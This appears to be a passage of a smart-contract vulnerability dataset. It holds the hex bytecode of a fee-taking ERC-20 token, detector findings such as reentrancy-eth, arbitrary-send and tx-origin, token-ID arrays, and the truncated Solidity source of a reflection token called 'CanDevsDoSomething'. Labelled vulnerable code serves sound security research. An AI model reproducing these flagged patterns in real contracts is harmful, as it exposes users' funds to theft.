1610a67565b60005b8251811015610e8a57610e78838281518110610e5157610e51612e8d565b6020026020010151838381518110610e6b57610e6b612e8d565b6020026020010151612251565b80610e8281612ea3565b915050610e33565b505050565b6001600160a01b031660009081526026602052604090205460ff1690565b6001600160a01b031660009081526024602052604090205490565b6005546001600160a01b03163314610ef25760405162461bcd60e51b8152600401610a6790612e21565b610ae46000612317565b6005546001600160a01b03163314610f265760405162461bcd60e51b8152600401610a6790612e21565b600655565b6005546001600160a01b03163314610f555760405162461bcd60e51b8152600401610a6790612e21565b6000610f62600247612de7565b6019546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015610f9d573d6000803e3d6000fd5b50601a546001600160a01b03166108fc610fb78347612db1565b6040518115909202916000818181858888f19350505050158015610b98573d6000803e3d6000fd5b6005546001600160a01b031633146110095760405162461bcd60e51b8152600401610a6790612e21565b6022805460ff60a81b1916600160a81b1790556110263082612251565b6110308134612369565b602254600160b01b900460ff16611059576022805460ff60b01b1916600160b01b179055436023555b506022805460ff60a81b19169055565b6005546001600160a01b031633146110935760405162461bcd60e51b8152600401610a6790612e21565b60228054911515600160b01b0260ff60b01b19909216919091179055565b60606004805461094090612d60565b6005546001600160a01b031633146110ea5760405162461bcd60e51b8152600401610a6790612e21565b6001600160a01b03811660009081526025602052604090205460ff166111525760405162461bcd60e51b815260206004820152601860248201527f4163636f756e74206d757374206265206578636c7564656400000000000000006044820152606401610a67565b6001600160a01b03166000908152602560205260409020805460ff19169055565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156111f55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610a67565b6112023385858403611562565b5060019392505050565b60006109d0338484611686565b6005546001600160a01b031633146112435760405162461bcd60e51b8152600401610a6790612e21565b6103e8601d546112539190612de7565b811015610f2657600080fd5b6005546001600160a01b031633146112895760405162461bcd60e51b8152600401610a6790612e21565b61129281610e8f565b6112ae5760405162461bcd60e51b8152600401610a6790612e56565b6001600160a01b03166000908152602660205260409020805460ff19169055565b6005546001600160a01b031633146112f95760405162461bcd60e51b8152600401610a6790612e21565b601380549115156101000261ff0019909216919091179055565b6005546001600160a01b0316331461133d5760405162461bcd60e51b8152600401610a6790612e21565b60138054911515620100000262ff000019909216919091179055565b6005546001600160a01b031633146113835760405162461bcd60e51b8152600401610a6790612e21565b6013805460ff1916911515919091179055565b6005546001600160a01b031633146113c05760405162461bcd60e51b8152600401610a6790612e21565b60088790556009869055600a859055600d849055600e839055600c829055600b819055856113ee8689612e09565b6113f89190612e09565b601055600a54600c54600b5461140e9190612e09565b6114189190612e09565b6011556010546019101561146e5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610a67565b601960115411156114c15760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610a67565b50505050505050565b6005546001600160a01b031633146114f45760405162461bcd60e51b8152600401610a6790612e21565b6001600160a01b0381166115595760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a67565b610c9081612317565b6001600160a01b0383166115c45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a67565b6001600160a01b0382166116255760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a67565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b61168f83610e8f565b8061169e575061169e82610e8f565b156116ae57610e8a83838361243e565b6116b783610b22565b156116fb5760405162461bcd60e51b815260206004820152601460248201527314d95b99195c881b1bd8dad95908185cc8189bdd60621b6044820152606401610a67565b61170482610b22565b156117515760405162461bcd60e51b815260206004820152601760248201527f526563697069656e74206c6f636b656420617320626f740000000000000000006044820152606401610a67565b60006103e8600654611762601d5490565b61176c9190612dc8565b6117769190612de7565b905060006103e8600754611789601d5490565b6117939190612dc8565b61179d9190612de7565b905081831115806117b75750602254600160a81b900460ff165b806117cb5750602254600160a01b900460ff165b806117e357506021546001600160a01b038581169116145b61182f5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178207472616e73616374696f6e20616d6f756e7400006044820152606401610a67565b600061183a30610ead565b6012546001600160a01b0387166000908152602960205260409020549192508210159061187e576014546001600160a01b0387166000908152602960205260409020555b838210611889578391505b8080156118a05750602254600160a01b900460ff16155b80156118ba57506022546001600160a01b03888116911614155b80156118ce575060135462010000900460ff165b156118dc576118dc82611da6565b6118e587611c81565b6118ee86611c81565b602254859060009081908190819081906001600160a01b038e811691161480156119215750602254600160b01b900460ff165b15611a73576001600160a01b038c16600090815260246020526040902054899061194c908d90612e09565b111561195757600080fd5b606460105460646119689190612db1565b611972908d612dc8565b61197c9190612de7565b95506064600d548c61198e9190612dc8565b6119989190612de7565b94506064600e548c6119aa9190612dc8565b6119b49190612de7565b601354909150610100900460ff1615806119e85750600f54326000908152602860205260409020546119e69042612db1565b115b806119fc5750602254600160a01b900460ff165b611a485760405162461bcd60e51b815260206004820152601d60248201527f68697420636f6f6c646f776e2c2074727920616761696e206c617465720000006044820152606401610a67565b611a528d8261259c565b326000908152602860205260409020429055611a6e8d8661263c565b611bed565b6022546001600160a01b038d81169116148015611a995750602254600160b01b900460ff165b15611bed5760135460ff168015611ace57506020805432600090815260289092526040909120544291611acb91612e09565b10155b15611b535760646011546064611ae49190612db1565b611aee908d612dc8565b611af89190612de7565b95506064600b548c611b0a9190612dc8565b611b149190612de7565b93506064600a548c611b269190612dc8565b611b309190612de7565b92506064600c548c611b429190612dc8565b611b4c9190612de7565b9150611bcf565b60646010546064611b649190612db1565b611b6e908d612dc8565b611b789190612de7565b955060646008548c611b8a9190612dc8565b611b949190612de7565b93506064600a548c611ba69190612dc8565b611bb09190612de7565b925060646009548c611bc29190612dc8565b611bcc9190612de7565b91505b611bd98d856126df565b611be38d8361275e565b611bed8d846127dd565b611bf88d8d8861243e565b602254600160b01b900460ff168015611c12575060235443145b8015611c245750611c2232610e8f565b155b15611c72576022546001600160a01b0316321415611c69576022546001600160a01b038e811691161415611c6057611c5b8c61285c565b611c72565b611c5b8d61285c565b611c723261285c565b50505050505050505050505050565b6022546001600160a01b0382811691161480611caa57506021546001600160a01b038281169116145b15611cb25750565b6001600160a01b038116600090815260296020526040812054601454611cd89190612db1565b90506000601d54611ce884610ead565b611cf29084612dc8565b611cfc9190612de7565b6014546001600160a01b038516600090815260296020526040902055905080611d2457505050565b6040516001600160a01b0384169082156108fc029083906000818181858888f19350505050158015611d5a573d6000803e3d6000fd5b506001600160a01b0383166000908152602a602052604081208054839290611d83908490612e09565b9250508190555080601f6000828254611d9c9190612e09565b9091555050505050565b6022805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611dee57611dee612e8d565b6001600160a01b03928316602091820292909201810191909152602154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611e47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e6b9190612ebe565b81600181518110611e7e57611e7e612e8d565b6001600160a01b039283166020918202929092010152602154611ea49130911684611562565b60215460405163791ac94760e01b815247916001600160a01b03169063791ac94790611edd908690600090879030904290600401612edb565b600060405180830381600087803b158015611ef757600080fd5b505af1158015611f0b573d6000803e3d6000fd5b5050505060008147611f1d9190612db1565b90506000601854601654601754601554611f379190612e09565b611f419190612e09565b611f4b9190612e09565b601754611f589087612dc8565b611f629190612de7565b90506000601854601654601754601554611f7c9190612e09565b611f869190612e09565b611f909190612e09565b601654611f9d9088612dc8565b611fa79190612de7565b90506000601854601654601754601554611fc19190612e09565b611fcb9190612e09565b611fd59190612e09565b601854611fe29089612dc8565b611fec9190612de7565b9050600081611ffb8486612e09565b6120059190612e09565b61200f9089612db1565b905060006018546016546017546015546120299190612e09565b6120339190612e09565b61203d9190612e09565b60175461204a9088612dc8565b6120549190612de7565b9050600060185460165460175460155461206e9190612e09565b6120789190612e09565b6120829190612e09565b60165461208f9089612dc8565b6120999190612de7565b905060006018546016546017546015546120b39190612e09565b6120bd9190612e09565b6120c79190612e09565b6018546120d4908a612dc8565b6120de9190612de7565b90506000816120ed8486612e09565b6120f79190612e09565b612101908a612db1565b905083156121bb57601c546040516001600160a01b039091169083156108fc029084906000818181858888f19350505050158015612143573d6000803e3d6000fd5b506019546040516001600160a01b039091169085156108fc029086906000818181858888f1935050505015801561217e573d6000803e3d6000fd5b50601a546040516001600160a01b039091169084156108fc029085906000818181858888f193505050501580156121b9573d6000803e3d6000fd5b505b87601760008282546121cd9190612db1565b9250508190555086601660008282546121e69190612db1565b9250508190555085601860008282546121ff9190612db1565b9250508190555084601560008282546122189190612db1565b9250508190555080601460008282546122319190612e09565b90915550506022805460ff60a01b19169055505050505050505050505050565b80601d60008282546122639190612e09565b90915550612273905082826129a5565b6040518181526001600160a01b038316907385def1380643f05e7069a0056634132c086eac5e90600080516020612f7b833981519152906020015b60405180910390a35050565b6001600160a01b03811660009081526025602052604090205460ff16156122f35760405162461bcd60e51b8152600401610a6790612e56565b6001600160a01b03166000908152602560205260409020805460ff19166001179055565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6021546123819030906001600160a01b031684611562565b6021546001600160a01b031663f305d7198230856000806123aa6005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015612412573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906124379190612f4c565b5050505050565b6001600160a01b0383166124945760405162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f206164647265737300006044820152606401610a67565b6001600160a01b0382166124ea5760405162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f2061646472657373000000006044820152606401610a67565b60006124f584610ead565b9050818110156125475760405162461bcd60e51b815260206004820152601f60248201527f7472616e7366657220616d6f756e7420657863656564732062616c616e6365006044820152606401610a67565b61255184836129e9565b61255b83836129a5565b826001600160a01b0316846001600160a01b0316600080516020612f7b8339815191528460405161258e91815260200190565b60405180910390a350505050565b6125a582610ead565b8111156125b157600080fd5b6001600160a01b0382166000908152602460205260409020546125d5908290612db1565b6001600160a01b038316600090815260246020526040902055601d546125fc908290612db1565b601d55601e5461260d908290612e09565b601e556040518181526000906001600160a01b03841690600080516020612f7b833981519152906020016122ae565b6001600160a01b0382166126925760405162461bcd60e51b815260206004820152601d60248201527f7265666c6563742066726f6d20746865207a65726f20616464726573730000006044820152606401610a67565b61269d82308361243e565b80601560008282546126af9190612e09565b909155505060405181815230906001600160a01b03841690600080516020612f7b833981519152906020016122ae565b6001600160a01b0382166127415760405162461bcd60e51b8152602060048201526024808201527f74616b65206d61726b6574696e672066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a67565b61274c82308361243e565b80601760008282546126af9190612e09565b6001600160a01b0382166127c05760405162461bcd60e51b815260206004820152602360248201527f74616b652074726561737572792066726f6d20746865207a65726f206164647260448201526265737360e81b6064820152608401610a67565b6127cb82308361243e565b80601660008282546126af9190612e09565b6001600160a01b03821661283f5760405162461bcd60e51b8152602060048201526024808201527f74616b65206c69717569646974792066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a67565b61284a82308361243e565b80601860008282546126af9190612e09565b61286581610b22565b156128b25760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e74206d757374206e6f7420626520666c616767656400000000006044820152606401610a67565b6021546001600160a01b038281169116141561291b5760405162461bcd60e51b815260206004820152602260248201527f4163636f756e74206d757374206e6f7420626520756e697377617020726f757460448201526132b960f11b6064820152608401610a67565b6022546001600160a01b03828116911614156129795760405162461bcd60e51b815260206004820181905260248201527f4163636f756e74206d757374206e6f7420626520756e697377617020706169726044820152606401610a67565b6001600160a01b0381166000908152602760205260409020805460ff19166001179055610c90816122ba565b6001600160a01b0382166000908152602460205260409020546129c9908290612e09565b6001600160a01b0390921660009081526024602052604090209190915550565b6001600160a01b0382166000908152602460205260409020546129c9908290612db1565b600060208083528351808285015260005b81811015612a3a57858101830151858201604001528201612a1e565b81811115612a4c576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610c9057600080fd5b60008060408385031215612a8a57600080fd5b8235612a9581612a62565b946020939093013593505050565b600080600060608486031215612ab857600080fd5b8335612ac381612a62565b92506020840135612ad381612a62565b929592945050506040919091013590565b600060208284031215612af657600080fd5b8135612b0181612a62565b9392505050565b600060208284031215612b1a57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715612b6057612b60612b21565b604052919050565b600067ffffffffffffffff821115612b8257612b82612b21565b5060051b60200190565b600082601f830112612b9d57600080fd5b81356020612bb2612bad83612b68565b612b37565b82815260059290921b84018101918181019086841115612bd157600080fd5b8286015b84811015612bec5780358352918301918301612bd5565b509695505050505050565b60008060408385031215612c0a57600080fd5b823567ffffffffffffffff80821115612c2257600080fd5b818501915085601f830112612c3657600080fd5b81356020612c46612bad83612b68565b82815260059290921b84018101918181019089841115612c6557600080fd5b948201945b83861015612c8c578535612c7d81612a62565b82529482019490820190612c6a565b96505086013592505080821115612ca257600080fd5b50612caf85828601612b8c565b9150509250929050565b600060208284031215612ccb57600080fd5b81358015158114612b0157600080fd5b60008060408385031215612cee57600080fd5b8235612cf981612a62565b91506020830135612d0981612a62565b809150509250929050565b600080600080600080600060e0888a031215612d2f57600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b600181811c90821680612d7457607f821691505b60208210811415612d9557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015612dc357612dc3612d9b565b500390565b6000816000190483118215151615612de257612de2612d9b565b500290565b600082612e0457634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115612e1c57612e1c612d9b565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601c908201527f4163636f756e74206d757374206e6f74206265206578636c7564656400000000604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415612eb757612eb7612d9b565b5060010190565b600060208284031215612ed057600080fd5b8151612b0181612a62565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612f2b5784516001600160a01b031683529383019391830191600101612f06565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215612f6157600080fd5b835192506020840151915060408401519050925092509256feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220dcb1ae58272d72ca31612db283518c88e6f0c160969c669faeb771d670bcf84664736f6c634300080b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
27009,
2683,
2575,
2581,
4402,
22203,
3540,
22394,
2581,
2581,
2546,
25746,
23499,
2487,
2278,
2629,
2546,
2575,
6305,
2620,
16703,
27421,
2497,
21057,
2549,
2497,
24594,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
1013,
1013,
5371,
1024,
1030,
4895,
2483,
4213,
2361,
1013,
1058,
2475,
1011,
23275,
1013,
8311,
1013,
19706,
1013,
1045,
19496,
26760,
9331,
2615,
2475,
22494,
3334,
24096,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1020,
1012,
1016,
1025,
8278,
1045,
19496,
26760,
9331,
2615,
2475,
22494,
3334,
24096,
1063,
3853,
4713,
1006,
1007,
6327,
5760,
5651,
1006,
4769,
1007,
1025,
3853,
4954,
2232,
1006,
1007,
6327,
5760,
5651,
1006,
4769,
1007,
1025,
3853,
5587,
3669,
15549,
25469,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,530 | 0x954a44fceb7ab41252edbcef8f7181cbc757d0ac | //// SPDX-License-Identifier: Unlicensed
//. "Upon writing this and deploying this contract It pains me to see how what started of as something that was meant for decentralisation has ended up becoming the opposite.
//. With a heavy heart it pains me to see such disgust with people asking for centralised exchanges to list their coins. This is not what crypto was meant to be.
// The word crypto in itself should suffice as a message to people to steer towards decentralisition instead this has been quite the opposite.
// With this I hope to see people come together for true decentralisation and not what shiba has become a cesspool of centralisation.
//. We will not push for listings we will neither push for marketing schemes as people describe this is true decentralisation at its finest.
//. We will leave clues in this contract for you to find, can the devs do something?"
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract CanDevsDoSomething is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'CanDevsDoSomething';
string private _symbol = '$Simple';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 100000000000 * 10**6 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
